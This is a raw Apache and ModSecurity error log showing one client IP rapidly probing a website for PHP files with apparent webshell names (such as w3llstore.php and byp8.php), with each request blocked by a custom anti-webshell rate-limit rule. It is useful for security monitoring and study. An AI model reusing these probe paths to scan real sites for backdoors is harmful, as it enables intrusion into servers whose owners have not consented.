[Fri Feb 27 15:42:49.637794 2026] [:error] [pid 62998:tid 63011] [client 52.169.148.186:9216] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aaFK-VQeueXZDUmoLonm9wAAAQk"]
[Fri Feb 27 15:42:50.137354 2026] [:error] [pid 62998:tid 63017] [client 52.169.148.186:1971] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aaFK-lQeueXZDUmoLonm-QAAAQ8"]
[Fri Feb 27 15:42:50.643120 2026] [:error] [pid 54231:tid 54239] [client 52.169.148.186:1950] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aaFK-uTvb5AeyJCdY7DI1gAAAEU"]
[Fri Feb 27 15:42:51.164182 2026] [:error] [pid 49306:tid 49313] [client 52.169.148.186:9241] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aaFK-_nSUDZue59Px9tnzwAAAUU"]
[Fri Feb 27 15:42:51.708380 2026] [:error] [pid 49306:tid 49312] [client 52.169.148.186:17156] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aaFK-_nSUDZue59Px9tn0QAAAUQ"]
[Fri Feb 27 15:42:52.233970 2026] [:error] [pid 49306:tid 49311] [client 52.169.148.186:2685] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aaFK_PnSUDZue59Px9tn0gAAAUM"]
[Fri Feb 27 15:42:52.759223 2026] [:error] [pid 52073:tid 52096] [client 52.169.148.186:6663] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mon.php"] [unique_id "aaFK_Ia650YPyxXVeRZTYQAAAZQ"]
[Fri Feb 27 15:42:53.310565 2026] [:error] [pid 52073:tid 52080] [client 52.169.148.186:6675] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mon.php"] [unique_id "aaFK_Ya650YPyxXVeRZTawAAAYQ"]
[Fri Feb 27 15:42:53.829506 2026] [:error] [pid 56075:tid 56084] [client 52.169.148.186:18444] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mon.php"] [unique_id "aaFK_cKBhrfI6KNv9RgdPgAAAAc"]
[Fri Feb 27 15:42:54.330994 2026] [:error] [pid 52073:tid 52096] [client 52.169.148.186:19008] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mon.php"] [unique_id "aaFK_oa650YPyxXVeRZTdQAAAZQ"]
[Fri Feb 27 15:42:54.830095 2026] [:error] [pid 49306:tid 49323] [client 52.169.148.186:14705] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "aaFK_vnSUDZue59Px9tn2gAAAU8"]
[Fri Feb 27 15:42:55.335935 2026] [:error] [pid 56075:tid 56086] [client 52.169.148.186:2626] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "aaFK_8KBhrfI6KNv9RgdPwAAAAk"]
[Fri Feb 27 15:42:55.834813 2026] [:error] [pid 56075:tid 56091] [client 52.169.148.186:1939] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "aaFK_8KBhrfI6KNv9RgdQQAAAA0"]
[Fri Feb 27 15:42:56.337812 2026] [:error] [pid 56075:tid 56092] [client 52.169.148.186:9278] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "aaFLAMKBhrfI6KNv9RgdQwAAAA4"]
[Fri Feb 27 15:42:56.840199 2026] [:error] [pid 54103:tid 54195] [client 52.169.148.186:1923] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aaFLAOvG4MPCmE0B2sBw7wAAANg"]
[Fri Feb 27 15:42:57.342050 2026] [:error] [pid 54103:tid 54181] [client 52.169.148.186:4709] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aaFLAevG4MPCmE0B2sBw8gAAAMo"]
[Fri Feb 27 15:42:57.847761 2026] [:error] [pid 56075:tid 56080] [client 52.169.148.186:2684] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aaFLAcKBhrfI6KNv9RgdRgAAAAM"]
[Fri Feb 27 15:42:58.354293 2026] [:error] [pid 52073:tid 52084] [client 52.169.148.186:17180] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aaFLAoa650YPyxXVeRZThgAAAYg"]
[Fri Feb 27 15:42:58.860577 2026] [:error] [pid 49306:tid 49312] [client 52.169.148.186:17377] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aaFLAvnSUDZue59Px9tn3gAAAUQ"]
[Fri Feb 27 15:42:59.360721 2026] [:error] [pid 54102:tid 54169] [client 52.169.148.186:1945] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aaFLA3i74D4fiYUm_GdESQAAAJg"]
[Fri Feb 27 15:42:59.882055 2026] [:error] [pid 52073:tid 52083] [client 52.169.148.186:14706] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aaFLA4a650YPyxXVeRZTjQAAAYc"]
[Fri Feb 27 15:43:00.440019 2026] [:error] [pid 54231:tid 54239] [client 52.169.148.186:14665] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aaFLBOTvb5AeyJCdY7DI5QAAAEU"]
[Fri Feb 27 15:43:00.943424 2026] [:error] [pid 62998:tid 63015] [client 52.169.148.186:19020] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/41.php"] [unique_id "aaFLBFQeueXZDUmoLonnDQAAAQ0"]
[Fri Feb 27 15:43:01.446130 2026] [:error] [pid 54231:tid 54243] [client 52.169.148.186:14670] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/41.php"] [unique_id "aaFLBeTvb5AeyJCdY7DI5gAAAEk"]
[Fri Feb 27 15:43:01.986682 2026] [:error] [pid 49306:tid 49324] [client 52.169.148.186:2634] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/41.php"] [unique_id "aaFLBfnSUDZue59Px9tn5wAAAVA"]
[Fri Feb 27 15:43:02.511843 2026] [:error] [pid 56075:tid 56081] [client 52.169.148.186:6810] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/41.php"] [unique_id "aaFLBsKBhrfI6KNv9RgdSgAAAAQ"]
[Fri Feb 27 15:43:03.038134 2026] [:error] [pid 56075:tid 56094] [client 52.169.148.186:2668] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aaFLB8KBhrfI6KNv9RgdTAAAABA"]
[Fri Feb 27 15:43:03.574253 2026] [:error] [pid 52073:tid 52097] [client 52.169.148.186:17360] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aaFLB4a650YPyxXVeRZTlQAAAZU"]
[Fri Feb 27 15:43:04.128146 2026] [:error] [pid 54103:tid 54178] [client 52.169.148.186:6715] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aaFLCOvG4MPCmE0B2sBw_gAAAMc"]
[Fri Feb 27 15:43:04.627961 2026] [:error] [pid 56075:tid 56084] [client 52.169.148.186:2660] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aaFLCMKBhrfI6KNv9RgdUQAAAAc"]
[Fri Feb 27 15:43:05.130045 2026] [:error] [pid 54101:tid 54132] [client 52.169.148.186:2123] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aaFLCVY5qgRktcYTGFsdugAAAdg"]
[Fri Feb 27 15:43:05.660772 2026] [:error] [pid 49306:tid 49320] [client 52.169.148.186:6843] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aaFLCfnSUDZue59Px9tn8QAAAUw"]
[Fri Feb 27 15:43:06.162519 2026] [:error] [pid 54231:tid 54254] [client 52.169.148.186:17154] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aaFLCuTvb5AeyJCdY7DI6wAAAFQ"]
[Fri Feb 27 15:43:06.666308 2026] [:error] [pid 56075:tid 56086] [client 52.169.148.186:4285] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aaFLCsKBhrfI6KNv9RgdUgAAAAk"]
[Fri Feb 27 15:43:07.166076 2026] [:error] [pid 52073:tid 52082] [client 52.169.148.186:19011] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w3llstore.php"] [unique_id "aaFLC4a650YPyxXVeRZTlwAAAYY"]
[Fri Feb 27 15:43:07.673086 2026] [:error] [pid 49306:tid 49325] [client 52.169.148.186:18463] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w3llstore.php"] [unique_id "aaFLC_nSUDZue59Px9tn9QAAAVE"]
[Fri Feb 27 15:43:08.176627 2026] [:error] [pid 52073:tid 52076] [client 52.169.148.186:9227] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w3llstore.php"] [unique_id "aaFLDIa650YPyxXVeRZTngAAAYA"]
[Fri Feb 27 15:43:08.686183 2026] [:error] [pid 52073:tid 52084] [client 52.169.148.186:6832] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w3llstore.php"] [unique_id "aaFLDIa650YPyxXVeRZTpAAAAYg"]
[Fri Feb 27 15:43:09.202042 2026] [proxy_fcgi:error] [pid 52073:tid 52093] [client 52.169.148.186:2639] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:43:09.455684 2026] [proxy_fcgi:error] [pid 52073:tid 52087] [client 52.169.148.186:2639] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:43:09.708625 2026] [proxy_fcgi:error] [pid 52073:tid 52076] [client 52.169.148.186:2639] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:43:09.961225 2026] [proxy_fcgi:error] [pid 52073:tid 52088] [client 52.169.148.186:2639] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:43:10.214102 2026] [proxy_fcgi:error] [pid 52073:tid 52096] [client 52.169.148.186:2639] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:43:10.720591 2026] [proxy_fcgi:error] [pid 52073:tid 52077] [client 52.169.148.186:2639] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:43:10.975488 2026] [proxy_fcgi:error] [pid 52073:tid 52095] [client 52.169.148.186:2639] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:43:11.229210 2026] [proxy_fcgi:error] [pid 52073:tid 52081] [client 52.169.148.186:2639] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:43:11.482530 2026] [proxy_fcgi:error] [pid 52073:tid 52087] [client 52.169.148.186:2639] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:43:11.735208 2026] [proxy_fcgi:error] [pid 52073:tid 52092] [client 52.169.148.186:2639] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:43:11.998940 2026] [:error] [pid 52073:tid 52085] [client 52.169.148.186:2639] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8o82nc.php"] [unique_id "aaFLD4a650YPyxXVeRZTvgAAAYk"]
[Fri Feb 27 15:43:12.511077 2026] [:error] [pid 56075:tid 56082] [client 52.169.148.186:3043] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8o82nc.php"] [unique_id "aaFLEMKBhrfI6KNv9RgdWwAAAAU"]
[Fri Feb 27 15:43:13.014181 2026] [:error] [pid 62998:tid 63006] [client 52.169.148.186:2173] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8o82nc.php"] [unique_id "aaFLEVQeueXZDUmoLonnIQAAAQQ"]
[Fri Feb 27 15:43:13.543789 2026] [:error] [pid 49306:tid 49316] [client 52.169.148.186:11620] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8o82nc.php"] [unique_id "aaFLEfnSUDZue59Px9tn-gAAAUg"]
[Fri Feb 27 15:43:14.045648 2026] [:error] [pid 52073:tid 52077] [client 52.169.148.186:3856] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaFLEoa650YPyxXVeRZTwwAAAYE"]
[Fri Feb 27 15:43:14.544775 2026] [:error] [pid 49306:tid 49308] [client 52.169.148.186:9262] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaFLEvnSUDZue59Px9tn_QAAAUA"]
[Fri Feb 27 15:43:15.047191 2026] [:error] [pid 52073:tid 52087] [client 52.169.148.186:19021] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaFLE4a650YPyxXVeRZTxwAAAYs"]
[Fri Feb 27 15:43:15.546255 2026] [:error] [pid 52073:tid 52076] [client 52.169.148.186:12158] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaFLE4a650YPyxXVeRZTzAAAAYA"]
[Fri Feb 27 15:43:16.046861 2026] [:error] [pid 52073:tid 52091] [client 52.169.148.186:17402] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opotv.php"] [unique_id "aaFLFIa650YPyxXVeRZTzwAAAY8"]
[Fri Feb 27 15:43:16.547684 2026] [:error] [pid 62998:tid 63001] [client 52.169.148.186:4729] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opotv.php"] [unique_id "aaFLFFQeueXZDUmoLonnIgAAAQA"]
[Fri Feb 27 15:43:17.103635 2026] [:error] [pid 54101:tid 54119] [client 52.169.148.186:4286] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opotv.php"] [unique_id "aaFLFVY5qgRktcYTGFsdvQAAAcs"]
[Fri Feb 27 15:43:17.648356 2026] [:error] [pid 54101:tid 54110] [client 52.169.148.186:3886] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opotv.php"] [unique_id "aaFLFVY5qgRktcYTGFsdwAAAAcI"]
[Fri Feb 27 15:43:18.211669 2026] [:error] [pid 52073:tid 52093] [client 52.169.148.186:18483] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu9.php"] [unique_id "aaFLFoa650YPyxXVeRZT0wAAAZE"]
[Fri Feb 27 15:43:18.737950 2026] [:error] [pid 49306:tid 49322] [client 52.169.148.186:6807] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu9.php"] [unique_id "aaFLFvnSUDZue59Px9toAAAAAU4"]
[Fri Feb 27 15:43:19.259747 2026] [:error] [pid 52073:tid 52086] [client 52.169.148.186:19038] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu9.php"] [unique_id "aaFLF4a650YPyxXVeRZT1QAAAYo"]
